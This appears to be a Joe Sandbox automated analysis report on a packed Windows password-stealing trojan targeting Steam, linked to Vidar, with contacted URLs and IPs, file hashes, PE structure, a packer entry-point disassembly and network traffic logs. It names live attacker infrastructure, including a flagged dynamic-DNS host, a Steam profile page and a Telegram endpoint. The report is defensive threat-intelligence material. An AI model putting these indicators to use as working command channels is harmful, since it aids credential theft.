https://store.steampowered.com/legal/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
http://64532127VdtSrezylanAPTHSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	URL Reputation: safe	unknown
https://api.steampower	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002F76000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://recaptcha.net	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/	76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:27060	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto.org/D	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259$	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002F76000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.245.87.202	unknown	Iran (ISLAMIC Republic Of)	16322	PARSONLINETehran-IRANIR	false
23.50.98.133	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1511546
Start date and time:	2024-09-15 18:28:30 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 41 Number of non-executed functions: 75
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:30:06	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.245.87.202	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	FE89Nae47k.exe	Get hash	malicious	Vidar	Browse
	66b0ba4420669_main.exe	Get hash	malicious	Vidar	Browse
	66b09f01e0030_dozkey.exe	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse
23.50.98.133	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.FileRepMalware.25501.25264.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Win32.Malware-gen.17837.3001.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Win32.Malware-gen.17837.3001.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
149.154.167.99	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot
	vSlVoTPrmP.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	https://bdh.vcj.mybluehost.me/website_8e3e3126/wp-admin/ANTIA/3dsece.php	Get hash	malicious	Unknown	Browse	162.241.217.207
	https://bdh.vcj.mybluehost.me/website_8e3e3126/wp-admin/ANTIA/3dsec.php	Get hash	malicious	Unknown	Browse	162.241.217.207
	https://bdh.vcj.mybluehost.me/website_8e3e3126/wp-admin/ANTIA/paiement.php	Get hash	malicious	Unknown	Browse	162.241.217.207
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
steamcommunity.com	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse	23.204.10.89
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.FileRepMalware.25501.25264.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.Win32.Evo-gen.16486.13246.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.Win32.Malware-gen.17837.3001.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.Trojan.PWS.Lumma.400.14864.1823.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	23.50.98.133
	SecuriteInfo.com.FileRepMalware.25501.25264.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
arpdabl.zapto.org	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	0.0.0.0
	FortiClientOnlineInstaller.exe	Get hash	malicious	Vidar	Browse	0.0.0.0
	qDqcWUzhA7.exe	Get hash	malicious	Vidar	Browse	0.0.0.0
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	0.0.0.0
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	0.0.0.0
	file.exe	Get hash	malicious	Amadey, Vidar	Browse	0.0.0.0
	a96b3ddd991bc4a88831685ef44cbd4ad7945a4afc3a028f42812f269d513674_payload.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	0.0.0.0
	66bddfc358668_stealc.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	0.0.0.0
	66bddfcb52736_vidar.exe	Get hash	malicious	LummaC, Vidar	Browse	0.0.0.0
	dXaIbmbdKj.exe	Get hash	malicious	Vidar	Browse	0.0.0.0

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	SecuriteInfo.com.FileRepMalware.32268.950.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	SecuriteInfo.com.FileRepMalware.32268.950.exe	Get hash	malicious	Unknown	Browse	149.154.167.92
	ATH0000878718.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	PjkFCWhi.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	https://lkjkqklqsd.vercel.app/	Get hash	malicious	Unknown	Browse	149.154.167.220
PARSONLINETehran-IRANIR	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	188.245.87.202
	https://www.soap2dayofficial.club/tgsfe	Get hash	malicious	Phisher	Browse	5.78.24.153
	PO_GM_list_28082024202003180817418280824_purchase_doc_00000(991KB).bat	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	5.78.41.174
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29807.9267.rtf	Get hash	malicious	FormBook	Browse	5.78.41.174
	x86.elf	Get hash	malicious	Mirai	Browse	178.169.26.221
	file.exe	Get hash	malicious	Vidar	Browse	188.245.87.202
	FE89Nae47k.exe	Get hash	malicious	Vidar	Browse	188.245.87.202
	66b0ba4420669_main.exe	Get hash	malicious	Vidar	Browse	188.245.87.202
	66b09f01e0030_dozkey.exe	Get hash	malicious	Vidar	Browse	188.245.87.202
	lem.exe	Get hash	malicious	Vidar	Browse	188.245.87.202
AKAMAI-ASUS	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse	23.204.10.89
	SecuriteInfo.com.Win32.Evo-gen.25283.30900.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.FileRepMalware.25501.25264.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.W32.PossibleThreat.3672.22783.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.Win32.Malware-gen.17837.3001.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	23.50.98.133
	SecuriteInfo.com.Win32.Malware-gen.17837.3001.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	92.122.63.136
	http://thenonphonewfhnetwork.com/.rice/	Get hash	malicious	Unknown	Browse	2.19.68.136
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse	23.50.98.133 149.154.167.99
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse	23.50.98.133 149.154.167.99
	SecuriteInfo.com.Win64.Malware-gen.12732.27825.exe	Get hash	malicious	Latrodectus	Browse	23.50.98.133 149.154.167.99
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.50.98.133 149.154.167.99
	file.exe	Get hash	malicious	Clipboard Hijacker, Raccoon Stealer v2	Browse	23.50.98.133 149.154.167.99
	SecuriteInfo.com.FileRepMalware.32268.950.exe	Get hash	malicious	Unknown	Browse	23.50.98.133 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.50.98.133 149.154.167.99
	SecuriteInfo.com.FileRepMalware.32268.950.exe	Get hash	malicious	Unknown	Browse	23.50.98.133 149.154.167.99
	file.exe	Get hash	malicious	Clipboard Hijacker, Raccoon Stealer v2	Browse	23.50.98.133 149.154.167.99
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.50.98.133 149.154.167.99

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34740
Entropy (8bit):	5.401683938260732
Encrypted:	false
SSDEEP:	768:ldpqme0Ih3tAA6WGFOfcDAJTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2S+:ld8me0Ih3tAA6WGFOFJTBv++nIjBtPFP
MD5:	7783A3E7F18C8F1F12175D86EEF33652
SHA1:	3E285D8EFB7C74F335FC75F89B80548576DE82B7
SHA-256:	2631722BD721985597B5BA16FC6F037CB19E414B0B5F273855653CB868ABB32F
SHA-512:	2CD70E638D58A63EA7B2691B4A1D7F9E42D33791A44D6D5AE73B19B6A8F356E9271D2872C5BEA14AF1112BDE876CF8A07142210AA8833AD63FF84A02ACA16C67
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: gi_z2 https://188.245.87.202\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=QI-9YLc_mdtk&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link h

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.936498076181626
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe
File size:	70'144 bytes
MD5:	5a4ccccb90b0aaa3b248d4f0dde38823
SHA1:	be8f1d791a81696cd58e7f837a97aaea58eeb26a
SHA256:	b802eb0f4a10d4aecc9015ee86ddc9b1249212dcabc2ecb6aa97418d0de7722b
SHA512:	a75db1a19a6bc4f5a9c5437864cb01e5d139ef56365e3d320035fcfa65a713886f78a6fe2f3eb130e35bed1a25e4fe73d712b6e03ed6bb373e73a6c3a3cb7737
SSDEEP:	1536:T7os4AvSdEcNj56sWOr3H8+wMiT8om0QSnouy8:TBvSdEcHWswxQJ0Zout
TLSH:	A3630205C4330796DEEF14FD111F6B2E28369E5CC6A46D35EB2031B1E8B9FB6164C895
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M..!..`r..`r..`rf..r..`rf..r2.`r...r..`r...r..`r..as..`r..ar..`rf..r!.`rf..r..`rRich..`r................PE..L...kQ.f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x645d70
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66AA516B [Wed Jul 31 14:59:55 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	6d1ea1a7f4738511b305583a93ec33ea

Entrypoint Preview

Instruction
pushad
mov esi, 00636000h
lea edi, dword ptr [esi-00235000h]
push edi
mov ebp, esp
lea ebx, dword ptr [esp-00003E80h]
xor eax, eax
push eax
cmp esp, ebx
jne 00007F8E94C1239Dh
inc esi
inc esi
push ebx
push 002439EAh
push edi
add ebx, 04h
push ebx
push 0000FD5Fh
push esi
add ebx, 04h
push ebx
push eax
mov dword ptr [ebx], 00020003h
push ebp
push edi
push esi
push ebx
sub esp, 7Ch
mov edx, dword ptr [esp+00000090h]
mov dword ptr [esp+74h], 00000000h
mov byte ptr [esp+73h], 00000000h
mov ebp, dword ptr [esp+0000009Ch]
lea eax, dword ptr [edx+04h]
mov dword ptr [esp+78h], eax
mov eax, 00000001h
movzx ecx, byte ptr [edx+02h]
mov ebx, eax
shl ebx, cl
mov ecx, ebx
dec ecx
mov dword ptr [esp+6Ch], ecx
movzx ecx, byte ptr [edx+01h]
shl eax, cl
dec eax
mov dword ptr [esp+68h], eax
mov eax, dword ptr [esp+000000A8h]
movzx esi, byte ptr [edx]
mov dword ptr [ebp+00h], 00000000h
mov dword ptr [esp+60h], 00000000h
mov dword ptr [eax], 00000000h
mov eax, 00000300h
mov dword ptr [esp+64h], esi
mov dword ptr [esp+5Ch], 00000001h
mov dword ptr [esp+58h], 00000001h
mov dword ptr [esp+54h], 00000001h
mov dword ptr [esp+50h], 00000001h

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2470b4	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x247000	0xb4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x247294	0xc	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x235000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x236000	0x11000	0x10a00	de6d77a2d892ec4ed99e2d6491aa7108	False	0.981687617481203	ARC archive data, packed	7.984077126914227	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x247000	0x1000	0x400	d1aec6795c1635e90fcb815e6185fd41	False	0.3818359375	data	3.115785366842726	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24705c	0x56	ASCII text, with CRLF line terminators	English	United States	1.0232558139534884

Imports

DLL	Import
ADVAPI32.dll	GetUserNameA
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
msvcrt.dll	rand
ole32.dll	CoInitializeEx
OLEAUT32.dll	SysFreeString
SHELL32.dll	SHFileOperationA
SHLWAPI.dll
USER32.dll	wsprintfW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-15T18:30:02.915417+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.12	49718	188.245.87.202	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2024 18:29:57.743235111 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:57.743274927 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:57.743494987 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:57.775052071 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:57.775077105 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:58.437298059 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:58.437464952 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:58.864470005 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:58.864495039 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:58.865560055 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:58.865653992 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.034697056 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.079396009 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.429142952 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.429176092 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.429234982 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.429296017 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.429323912 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.429342985 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.429403067 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.518125057 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.518204927 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.518294096 CEST	49717	443	192.168.2.12	23.50.98.133
Sep 15, 2024 18:29:59.518311977 CEST	443	49717	23.50.98.133	192.168.2.12
Sep 15, 2024 18:29:59.518335104 CEST	49717	443	192.168.2.12	23.50.98.133
